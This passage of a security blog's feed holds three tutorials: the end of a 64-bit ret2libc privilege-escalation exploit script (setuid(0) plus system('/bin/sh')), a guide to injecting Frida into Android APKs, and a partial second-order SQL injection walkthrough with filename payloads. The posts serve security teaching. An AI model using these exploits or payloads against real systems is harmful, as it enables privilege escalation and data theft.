class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Leaked puts@GLIBC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#unpack again
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71910&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;glibc offset: %x&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;libc_sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x449c0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;libc_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x181519&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_sh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# setuid
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setuid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;libc_setuid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xc7500&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setuid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_setuid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the exploitation:&lt;/p&gt;

&lt;script id=&quot;asciicast-OyawJSaXkrKcmZtELLefs27yE&quot; src=&quot;https://asciinema.org/a/OyawJSaXkrKcmZtELLefs27yE.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.linuxnix.com/suid-set-suid-linuxunix/&quot;&gt;Linuxnix- SUID&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://blog.siphos.be/2011/07/high-level-explanation-on-some-binary-executable-security/&quot;&gt;Siphos- High level explanation on some binary executable security&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://danigargu.blogspot.com/2013/02/got-dereferencing-overwriting-aslrnx.html&quot;&gt;Danigargu - GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux) &lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.hackplayers.com/2018/08/ropeando-para-bypassear-nx-y-aslr-con.html&quot;&gt;Hackplayers - ROPeando para bypassear NX y ASLR con libc&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=6S4A2nhHdWg&quot;&gt;Ippsec - Camp CTF 2015 - Bitterman&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2019-06-15T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Privesc_Ret2libc_ASLR_64</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Privesc_Ret2libc_ASLR_64</guid>
        </item>
      
    
      
        <item>
          <title>Frida on non-rooted Android devices</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Frida on non-rooted Android devices&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190518/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://www.frida.re/&quot;&gt;Frida&lt;/a&gt; is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Frida allows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Injection of your own scripts into black box processes.&lt;/li&gt;
  &lt;li&gt;Hook any function.&lt;/li&gt;
  &lt;li&gt;Spy on crypto APIs or trace private application code.&lt;/li&gt;
  &lt;li&gt;Disable SSL Pinning and root checkers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Frida is one of the best tools to use during an application penetration testing.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;why-install-frida-in-a-non-rooted-android-device&quot;&gt;Why install Frida in a non-rooted Android device?&lt;/h2&gt;

&lt;p&gt;The most frequent installation of Frida is described &lt;a href=&quot;https://www.frida.re/docs/android/&quot;&gt;here&lt;/a&gt; and consists in running a Frida server in the rooted device as a process:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ adb root # might be required
$ adb push frida-server /data/local/tmp/ 
$ adb shell &quot;chmod 755 /data/local/tmp/frida-server&quot;
$ adb shell &quot;/data/local/tmp/frida-server &amp;amp;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then a conection with the Frida client is done and the instrumentation begins.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;frida-ps -U

  PID NAME
 1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The injection is done with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt; by attaching or spawning a process and then injecting the agent. Once the agent is injected, it communicates with its server through a pipe. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt; &lt;em&gt;can’t be used as a normal user&lt;/em&gt;. 
To address this constraint, Frida provides another mode of operation called &lt;em&gt;embedded&lt;/em&gt;. In this mode the user is responsible to inject the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frida-gadget&lt;/code&gt; library.&lt;/p&gt;

&lt;p&gt;Moreover, there are some situations that is not possible to have a rooted phone but still you need to use Frida.&lt;/p&gt;

&lt;p&gt;I suggest two methods to inject the Frida Gadget:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#Lief&quot;&gt;Using LIEF to inject Frida Gadget in the libraries of the APK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Objection&quot;&gt;Using Objection and modifying the Dalvik bytecode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;using-lief-to-inject-frida-gadget-in-the-libraries-of-the-apk&quot;&gt;&lt;a name=&quot;Lief&quot;&gt;&lt;/a&gt;Using LIEF to inject Frida Gadget in the libraries of the APK&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Executable formats include libraries that are linked with executable. In the loading phase of the executable, the loader iterates over these libraries and map them in the memory space of the process. Once mapped it calls its constructor. The idea is to add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frida-agent.so&lt;/code&gt; as a dependency of native libraries embedded in the APK.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Based of the awesome job of Romain Thomas &lt;a href=&quot;https://twitter.com/rh0main&quot;&gt;@rh0main&lt;/a&gt;, I have written a small script to automate the ELF gadget injection with &lt;a href=&quot;https://github.com/lief-project/LIEF&quot;&gt;&lt;strong&gt;LIEF&lt;/strong&gt;&lt;/a&gt;. It can be downloaded here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/jlajara/frida-gadget-lief-injector&quot;&gt;Frida Gadget Lief Injector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script does the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Unzips the APK passed as input.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Asks for the architecture of the Android device. There are two options:
  The architecture is known, then the gadget is injected only for that architecture.
  The architecture is unknow, then the gadget is injected in all architectures.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Asks for the library to be injected, then downloads the last gadget from Frida repository and injects it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Removes the old signature.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5&lt;/strong&gt; Generates the APK with the name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;my_app.apk&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;requirements&quot;&gt;Requirements&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Python 3.6 

pip install https://github.com/lief-project/packages/raw/lief-master-latest/pylief-0.9.0.dev.zip
pip install xtract
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python frida_lief_injection.py



[+] Enter the path of your APK: original.apk
[+] Unzip the original.apk in /tmp/tmpknzr8dx4_lief_frida
[+] Select the architecture of your system: 
If you don't know run: adb shell getprop ro.product.cpu.abi

1) armeabi
2) arm64-v8a
3) x86
4) armeabi-v7a
5) x86_64
6) I don't know. Inject frida-gadget for all architectures (slower)

&amp;gt; 4

[+] In with library do you want to inject?: 
 
1) libshinobicharts-android.so
2) libmodpng.so
3) libpl_droidsonroids_gif.so
4) libmodft2.so
5) libjniPdfium.so
6) libmodpdfium.so

[+] Enter the number of the desired library: 
&amp;gt; 1
[+] Downloading and extracting frida gadget for: armeabi-v7a
[+] Injecting libgdgt.so into armeabi-v7a/libshinobicharts-android.so

[*] Removing old signature
[+] APK Building...
[+] SUCCESS!! Your new apk is : my_app.apk. Now you should sign it.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;script id=&quot;asciicast-HEz43ylizrdbnYy1nchZ2Hdq6&quot; src=&quot;https://asciinema.org/a/HEz43ylizrdbnYy1nchZ2Hdq6.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h3 id=&quot;signing-the-apk&quot;&gt;Signing the APK&lt;/h3&gt;

&lt;p&gt;Generation of the keystore:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Signing:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_app.apk alias_name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;script id=&quot;asciicast-cg06L0t339riozJHTIDPpna86&quot; src=&quot;https://asciinema.org/a/cg06L0t339riozJHTIDPpna86.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h3 id=&quot;frida-injection&quot;&gt;Frida Injection&lt;/h3&gt;

&lt;p&gt;The first error is because Frida needs to be executed when the app is opened and the library loaded. If we inject in a library that is used under some circumstances, those circumstances must be followed to activate the Frida gadget.&lt;/p&gt;

&lt;script id=&quot;asciicast-ATS971gneg3AzMqKEKtZOFAZA&quot; src=&quot;https://asciinema.org/a/ATS971gneg3AzMqKEKtZOFAZA.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;If the APK is decompiled or the temporary directory that the script generates is analyzed, the ELF injection could be observer with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readelf&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# ls
libgdgt.so  libtmessages.30.so
root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# readelf -d libtmessages.30.so | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libgdgt.so]
 0x00000001 (NEEDED)                     Shared library: [libjnigraphics.so]
 0x00000001 (NEEDED)                     Shared library: [liblog.so]
 0x00000001 (NEEDED)                     Shared library: [libz.so]
 0x00000001 (NEEDED)                     Shared library: [libEGL.so]
 0x00000001 (NEEDED)                     Shared library: [libGLESv2.so]
 0x00000001 (NEEDED)                     Shared library: [libandroid.so]
 0x00000001 (NEEDED)                     Shared library: [libOpenSLES.so]
 0x00000001 (NEEDED)                     Shared library: [libdl.so]
 0x00000001 (NEEDED)                     Shared library: [libstdc++.so]
 0x00000001 (NEEDED)                     Shared library: [libm.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so]
root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reading depedencies of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libtmessages.30.so&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libgdgt.so&lt;/code&gt; is the first loaded and corresponds to the Frida Gadget.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;using-objection-and-modifying-the-dalvik-bytecode&quot;&gt;&lt;a name=&quot;Objection&quot;&gt;&lt;/a&gt;Using Objection and modifying the Dalvik bytecode&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://github.com/sensepost/objection&quot;&gt;&lt;strong&gt;Objection&lt;/strong&gt;&lt;/a&gt; is a runtime mobile exploration toolkit, powered by Frida. It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Objection includes a module called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;patchapk&lt;/code&gt; that does the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Detects the architecure of the Android device using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADB&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; Unzips the APK passed as input.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; Check if the App has android.permission.INTERNET, if not it rewrites &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Get the first activity launched from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5&lt;/strong&gt; Injects the frida gadget in the constructor.
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const-string v0, &quot;frida-gadget&quot;
invoke-static {v0}, Ljava/lang/System;-&amp;gt;loadLibrary(Ljava/lang/String;)V
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;6&lt;/strong&gt; Copies Frida gadget to libs path.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;7&lt;/strong&gt; Rebuild the APK and signs it.&lt;/li&gt;
&lt;/ul&gt;

&lt;script id=&quot;asciicast-WYI4Z47bXkB5ek6UtVHWcpmWb&quot; src=&quot;https://asciinema.org/a/WYI4Z47bXkB5ek6UtVHWcpmWb.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;After the new APK is installed, the Frida gadget is injected and Objection can start the instrumentation:&lt;/p&gt;

&lt;script id=&quot;asciicast-qDEreVdby3zeSgc4AkPCB0o0P&quot; src=&quot;https://asciinema.org/a/qDEreVdby3zeSgc4AkPCB0o0P.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;considerations&quot;&gt;Considerations:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Some applications performs integrity checks and these methods will not work.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Both methods need &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android.permission.INTERNET&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt;. If this is not in the manifest, add it and rebuild the APK.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For method &lt;a href=&quot;#Lief&quot;&gt;1. Using LIEF to inject Frida Gadget in the libraries of the APK&lt;/a&gt;, the App must use at least one library.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.frida.re/&quot;&gt;Frida&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/lief-project/LIEF&quot;&gt;LIEF&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://lief.quarkslab.com/doc/latest/tutorials/09_frida_lief.html&quot;&gt;LIEF - How to use frida on a non-rooted device&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/sensepost/objection&quot;&gt;Objection&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/sensepost/objection/wiki/Patching-Android-Applications#patching---patching-an-apk&quot;&gt;Objection -Patching an APK&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

</description>
          <pubDate>2019-05-18T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Frida-non-rooted</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Frida-non-rooted</guid>
        </item>
      
    
      
        <item>
          <title>Second Order SQLI: Automating with sqlmap</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Second Order SQLI: Automating with sqlmap&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;SQL Injection is one of the most frequents attacks around the history of web application penetration testing, for this reason, is included every year in the Top 1 of OWASP Top 10 vulnerabilities.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-is-a-second-order-sql-injection&quot;&gt;What is a Second Order SQL Injection?&lt;/h2&gt;

&lt;p&gt;Second-order SQL injections occur when an SQL query is injected into the application through an input parameter, but the payload is not incorporated into the same query where the parameter is injected, but it is injected in another query that consumes this attribute. In conclusion, the injection and the response take place in different parts of the website.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;analysis&quot;&gt;Analysis&lt;/h2&gt;

&lt;p&gt;The following web page is a Proof of Concept website that allows to upload some images to the server, using the endpoint &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/1.png&quot; alt=&quot;Website_1&quot; style=&quot;width:40%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a success upload, the image is shown in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.php&lt;/code&gt; with the number of views of each image.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/2.png&quot; alt=&quot;Website_2&quot; style=&quot;width:40%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The source code can be found &lt;a href=&quot;https://gitlab.com/jlajara/2nd-order-sqli-poc&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In a web penetration test, running SQLMap without a previous analysis is quite common but is not effective. The best way to proceed, in my opinion, is to try to perform a manual injection first and proceed to automate the extraction process.&lt;/p&gt;

&lt;p&gt;Firstly, a basic injection of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'&lt;/code&gt; character is enough in this case to try to figure if the application is vulnerable. The request is intercepted with burp an the filename is renamed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jake'.png&lt;/code&gt;. The result is the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/3.png&quot; alt=&quot;Request&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/4.png&quot; alt=&quot;Response&quot; style=&quot;width:40%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Could you see something weird? The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;view&lt;/code&gt; counter has disappeared… maybe there is an error trying to query it.&lt;/p&gt;

&lt;p&gt;Another common payload could be used to try to create a valid SQL syntax &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jake ' or '1'='1'#.png&lt;/code&gt;, and the result is the following.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/5.png&quot; alt=&quot;Request&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/6.png&quot; alt=&quot;Response&quot; style=&quot;width:20%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect! It seems that we can inject valid SQL syntax. Let’s try a UNION payload to make the data retrieval faster: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jake ' UNION SELECT 101,102,103,104#.png&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/7.png&quot; alt=&quot;Request&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/8.png&quot; alt=&quot;Response&quot; style=&quot;width:20%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We know that the queries inserted in the third value (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;103&lt;/code&gt;) are reflected in the response, therefore &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jake ' UNION SELECT 101,102,@@version,104#.png&lt;/code&gt;. Shows:&lt;/p&gt;

